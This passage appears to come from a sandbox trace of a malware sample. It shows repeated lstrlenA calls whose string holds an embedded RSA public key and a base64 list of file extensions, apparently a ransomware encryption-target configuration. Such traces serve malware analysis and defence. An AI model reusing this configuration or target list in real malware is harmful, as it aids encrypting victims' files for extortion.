C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs